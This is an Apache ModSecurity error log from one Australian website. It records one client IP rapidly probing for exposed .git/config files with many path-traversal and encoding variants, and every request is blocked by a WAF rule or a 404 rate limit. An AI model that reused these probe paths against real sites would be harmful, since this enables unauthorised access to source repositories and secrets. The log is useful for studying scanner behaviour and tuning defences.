[Wed Nov 26 01:21:38.439771 2025] [:error] [pid 43843:tid 43854] [client 213.21.239.4:35414] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/content../.git/config"] [unique_id "aSXlohhx4v3NUNdMKDMlUgAAAck"]
[Wed Nov 26 01:21:38.447288 2025] [:error] [pid 43843:tid 43847] [client 213.21.239.4:35450] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/admin/.git/config"] [unique_id "aSXlohhx4v3NUNdMKDMlVAAAAcI"]
[Wed Nov 26 01:21:38.449187 2025] [:error] [pid 2987:tid 3001] [client 213.21.239.4:35262] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/developer/.git/config"] [unique_id "aSXlos-djEt-pTzPxnwFWgAAAUw"]
[Wed Nov 26 01:21:38.450359 2025] [:error] [pid 28739:tid 28773] [client 213.21.239.4:35378] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/app/.git/config"] [unique_id "aSXlohxGpKmlkG4FexT9SgAAAgs"]
[Wed Nov 26 01:21:38.451491 2025] [:error] [pid 14168:tid 14183] [client 213.21.239.4:35284] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/measureyourbrand/.git/%0Aconfig"] [unique_id "aSXlovR-ZDU0QEgAIIvCEwAAAMw"]
[Wed Nov 26 01:21:38.451853 2025] [:error] [pid 14168:tid 14189] [client 213.21.239.4:35416] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/css../.git/config"] [unique_id "aSXlovR-ZDU0QEgAIIvCFAAAANI"]
[Wed Nov 26 01:21:38.458416 2025] [:error] [pid 28609:tid 28622] [client 213.21.239.4:35342] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/measureyourbrand/static../.git/config"] [unique_id "aSXloiGGdT-nZJVs3x0vhQAAAYQ"]
[Wed Nov 26 01:21:38.458682 2025] [:error] [pid 2987:tid 3002] [client 213.21.239.4:35442] [client 213.21.239.4] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/measureyourbrand../config"] [unique_id "aSXlos-djEt-pTzPxnwFWwAAAU0"]
[Wed Nov 26 01:21:38.458965 2025] [:error] [pid 14076:tid 14100] [client 213.21.239.4:35402] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/backup/.git/config"] [unique_id "aSXlonsB4Gz6Qw-pvBuF1wAAABM"]
[Wed Nov 26 01:21:38.460205 2025] [:error] [pid 28836:tid 28961] [client 213.21.239.4:35424] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/database/.git/config"] [unique_id "aSXlopwNRsoxcLQGkTciJgAAAsY"]
[Wed Nov 26 01:21:38.464175 2025] [:error] [pid 28609:tid 28634] [client 213.21.239.4:35312] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/measureyourbrand/.git/config;.."] [unique_id "aSXloiGGdT-nZJVs3x0vhgAAAZA"]
[Wed Nov 26 01:21:38.465058 2025] [:error] [pid 28836:tid 29009] [client 213.21.239.4:35368] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/api/.git/config"] [unique_id "aSXlopwNRsoxcLQGkTciJwAAAtM"]
[Wed Nov 26 01:21:38.465357 2025] [:error] [pid 28836:tid 28960] [client 213.21.239.4:35328] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/measureyourbrand/;/.git/config"] [unique_id "aSXlopwNRsoxcLQGkTciKAAAAsU"]
[Wed Nov 26 01:21:38.465908 2025] [:error] [pid 2987:tid 2993] [client 213.21.239.4:35394] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/assets../.git/config"] [unique_id "aSXlos-djEt-pTzPxnwFXAAAAUQ"]
[Wed Nov 26 01:21:38.466701 2025] [:error] [pid 28609:tid 28638] [client 213.21.239.4:35434] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/measureyourbrand/.git/config"] [unique_id "aSXloiGGdT-nZJVs3x0vhwAAAZQ"]
[Wed Nov 26 01:21:40.483612 2025] [:error] [pid 28609:tid 28624] [client 213.21.239.4:35464] [client 213.21.239.4] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/measureyourbrand../config"] [unique_id "aSXlpCGGdT-nZJVs3x0viwAAAYY"]
[Wed Nov 26 01:21:41.421880 2025] [:error] [pid 14077:tid 14112] [client 213.21.239.4:35892] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/measureyourbrand.com.au/.git/%0Aconfig"] [unique_id "aSXlpRG9n7UHEkwDTygKRAAAAEI"]
[Wed Nov 26 01:21:41.429475 2025] [:error] [pid 2987:tid 3003] [client 213.21.239.4:35928] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/measureyourbrand.com.au/..;/.git/config"] [unique_id "aSXlpc-djEt-pTzPxnwFXgAAAU4"]
[Wed Nov 26 01:21:41.436433 2025] [:error] [pid 14077:tid 14129] [client 213.21.239.4:36074] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.git/%0Aconfig"] [unique_id "aSXlpRG9n7UHEkwDTygKSAAAAFM"]
[Wed Nov 26 01:21:41.437852 2025] [:error] [pid 14077:tid 14125] [client 213.21.239.4:35910] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/measureyourbrand.com.au../.git/config"] [unique_id "aSXlpRG9n7UHEkwDTygKSQAAAE8"]
[Wed Nov 26 01:21:41.443373 2025] [:error] [pid 28609:tid 28619] [client 213.21.239.4:36106] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/measureyourbrand.com.au/.git/config;"] [unique_id "aSXlpSGGdT-nZJVs3x0vkAAAAYE"]
[Wed Nov 26 01:21:41.445299 2025] [:error] [pid 14077:tid 14123] [client 213.21.239.4:36078] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/js../.git/config"] [unique_id "aSXlpRG9n7UHEkwDTygKSgAAAE0"]
[Wed Nov 26 01:21:41.450903 2025] [:error] [pid 14077:tid 14110] [client 213.21.239.4:35994] [client 213.21.239.4] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.git;/config;"] [unique_id "aSXlpRG9n7UHEkwDTygKSwAAAEA"]
[Wed Nov 26 01:21:41.452122 2025] [:error] [pid 14168:tid 14186] [client 213.21.239.4:35982] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/measureyourbrand.com.au/static../.git/config"] [unique_id "aSXlpfR-ZDU0QEgAIIvCFgAAAM8"]
[Wed Nov 26 01:21:41.452315 2025] [:error] [pid 14168:tid 14185] [client 213.21.239.4:35980] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/measureyourbrand.com.au/;/.git/config"] [unique_id "aSXlpfR-ZDU0QEgAIIvCFwAAAM4"]
[Wed Nov 26 01:21:41.455175 2025] [:error] [pid 14168:tid 14190] [client 213.21.239.4:36036] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/..;/.git/config"] [unique_id "aSXlpfR-ZDU0QEgAIIvCGAAAANM"]
[Wed Nov 26 01:21:41.455630 2025] [:error] [pid 28609:tid 28634] [client 213.21.239.4:36072] [client 213.21.239.4] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/measureyourbrand.com.au/.git;/config"] [unique_id "aSXlpSGGdT-nZJVs3x0vkwAAAZA"]
[Wed Nov 26 01:21:41.455781 2025] [:error] [pid 28609:tid 28625] [client 213.21.239.4:36020] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/;/.git/config"] [unique_id "aSXlpSGGdT-nZJVs3x0vlAAAAYc"]
[Wed Nov 26 01:21:41.458275 2025] [:error] [pid 2987:tid 2989] [client 213.21.239.4:35896] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.git/config;.."] [unique_id "aSXlpc-djEt-pTzPxnwFXwAAAUA"]
[Wed Nov 26 01:21:41.458375 2025] [:error] [pid 28609:tid 28621] [client 213.21.239.4:35964] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.git/config"] [unique_id "aSXlpSGGdT-nZJVs3x0vlQAAAYM"]
[Wed Nov 26 01:21:41.460771 2025] [:error] [pid 14168:tid 14192] [client 213.21.239.4:36064] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/images../.git/config"] [unique_id "aSXlpfR-ZDU0QEgAIIvCGQAAANU"]
[Wed Nov 26 01:21:41.461650 2025] [:error] [pid 14168:tid 14193] [client 213.21.239.4:36062] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.git/config;"] [unique_id "aSXlpfR-ZDU0QEgAIIvCGgAAANY"]
[Wed Nov 26 01:21:41.461784 2025] [:error] [pid 28609:tid 28622] [client 213.21.239.4:36022] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/git/.git/config"] [unique_id "aSXlpSGGdT-nZJVs3x0vlgAAAYQ"]
[Wed Nov 26 01:21:41.463863 2025] [:error] [pid 14077:tid 14111] [client 213.21.239.4:36138] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/message-api/.git/config"] [unique_id "aSXlpRG9n7UHEkwDTygKTAAAAEE"]
[Wed Nov 26 01:21:41.470308 2025] [:error] [pid 28739:tid 28774] [client 213.21.239.4:36024] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/measureyourbrand.com.au/.git/config"] [unique_id "aSXlpRxGpKmlkG4FexT9TAAAAgw"]
[Wed Nov 26 01:21:41.471728 2025] [:error] [pid 28609:tid 28628] [client 213.21.239.4:36152] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/img../.git/config"] [unique_id "aSXlpSGGdT-nZJVs3x0vmAAAAYo"]
[Wed Nov 26 01:21:41.472108 2025] [:error] [pid 14077:tid 14128] [client 213.21.239.4:36048] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/measureyourbrand.com.au/.git/config;.."] [unique_id "aSXlpRG9n7UHEkwDTygKTQAAAFI"]
[Wed Nov 26 01:21:41.473021 2025] [:error] [pid 28609:tid 28620] [client 213.21.239.4:36092] [client 213.21.239.4] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.git;/config"] [unique_id "aSXlpSGGdT-nZJVs3x0vmQAAAYI"]
[Wed Nov 26 01:21:41.473360 2025] [:error] [pid 28609:tid 28638] [client 213.21.239.4:36120] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/lib../.git/config"] [unique_id "aSXlpSGGdT-nZJVs3x0vmgAAAZQ"]
[Wed Nov 26 01:21:41.474462 2025] [:error] [pid 28739:tid 28782] [client 213.21.239.4:36126] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/live/.git/config"] [unique_id "aSXlpRxGpKmlkG4FexT9TQAAAhQ"]
[Wed Nov 26 01:21:43.384091 2025] [:error] [pid 14078:tid 14141] [client 213.21.239.4:57282] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/m/.git/config"] [unique_id "aSXlp9VXYbb0ii_rVoLpDwAAAIQ"]
[Wed Nov 26 01:21:43.506594 2025] [:error] [pid 14078:tid 14145] [client 213.21.239.4:57348] [client 213.21.239.4] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/measureyourbrand.com.au/.git;/config"] [unique_id "aSXlp9VXYbb0ii_rVoLpEgAAAIg"]
[Wed Nov 26 01:21:43.507046 2025] [:error] [pid 28609:tid 28623] [client 213.21.239.4:57352] [client 213.21.239.4] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.git;/config"] [unique_id "aSXlpyGGdT-nZJVs3x0vngAAAYU"]
[Wed Nov 26 01:21:43.513866 2025] [:error] [pid 28609:tid 28627] [client 213.21.239.4:57334] [client 213.21.239.4] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.git;/config;"] [unique_id "aSXlpyGGdT-nZJVs3x0vnwAAAYk"]
[Wed Nov 26 01:21:44.380798 2025] [:error] [pid 28836:tid 28956] [client 213.21.239.4:57356] [client 213.21.239.4] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/measureyourbrand.com.au/.git;/config"] [unique_id "aSXlqJwNRsoxcLQGkTciMAAAAsE"]
[Wed Nov 26 01:21:44.388927 2025] [:error] [pid 28739:tid 28784] [client 213.21.239.4:57556] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/..;/.git/config"] [unique_id "aSXlqBxGpKmlkG4FexT9UQAAAhY"]
[Wed Nov 26 01:21:44.391566 2025] [:error] [pid 28739:tid 28773] [client 213.21.239.4:57388] [client 213.21.239.4] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/../config"] [unique_id "aSXlqBxGpKmlkG4FexT9UgAAAgs"]
[Wed Nov 26 01:21:44.393944 2025] [:error] [pid 28739:tid 28765] [client 213.21.239.4:57364] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/measureyourbrand.com.au/;/.git/config"] [unique_id "aSXlqBxGpKmlkG4FexT9UwAAAgM"]
[Wed Nov 26 01:21:44.394293 2025] [:error] [pid 14077:tid 14133] [client 213.21.239.4:57366] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/measureyourbrand.com.au/static../.git/config"] [unique_id "aSXlqBG9n7UHEkwDTygKUgAAAFc"]
[Wed Nov 26 01:21:44.400613 2025] [:error] [pid 14077:tid 14117] [client 213.21.239.4:57502] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.git/%0Aconfig"] [unique_id "aSXlqBG9n7UHEkwDTygKUwAAAEc"]
[Wed Nov 26 01:21:44.407996 2025] [:error] [pid 28836:tid 29010] [client 213.21.239.4:57768] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/measureyourbrand.com.au../.git/config"] [unique_id "aSXlqJwNRsoxcLQGkTciNQAAAtQ"]
[Wed Nov 26 01:21:44.412121 2025] [:error] [pid 43843:tid 43854] [client 213.21.239.4:57470] [client 213.21.239.4] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/config"] [unique_id "aSXlqBhx4v3NUNdMKDMlWQAAAck"]
[Wed Nov 26 01:21:44.412458 2025] [:error] [pid 28836:tid 28986] [client 213.21.239.4:57836] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.git/config"] [unique_id "aSXlqJwNRsoxcLQGkTciOAAAAs8"]
[Wed Nov 26 01:21:44.414011 2025] [:error] [pid 28836:tid 28966] [client 213.21.239.4:57484] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/../.git/config"] [unique_id "aSXlqJwNRsoxcLQGkTciOQAAAss"]
[Wed Nov 26 01:21:44.419485 2025] [:error] [pid 14077:tid 14126] [client 213.21.239.4:57908] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/new/.git/config"] [unique_id "aSXlqBG9n7UHEkwDTygKVQAAAFA"]
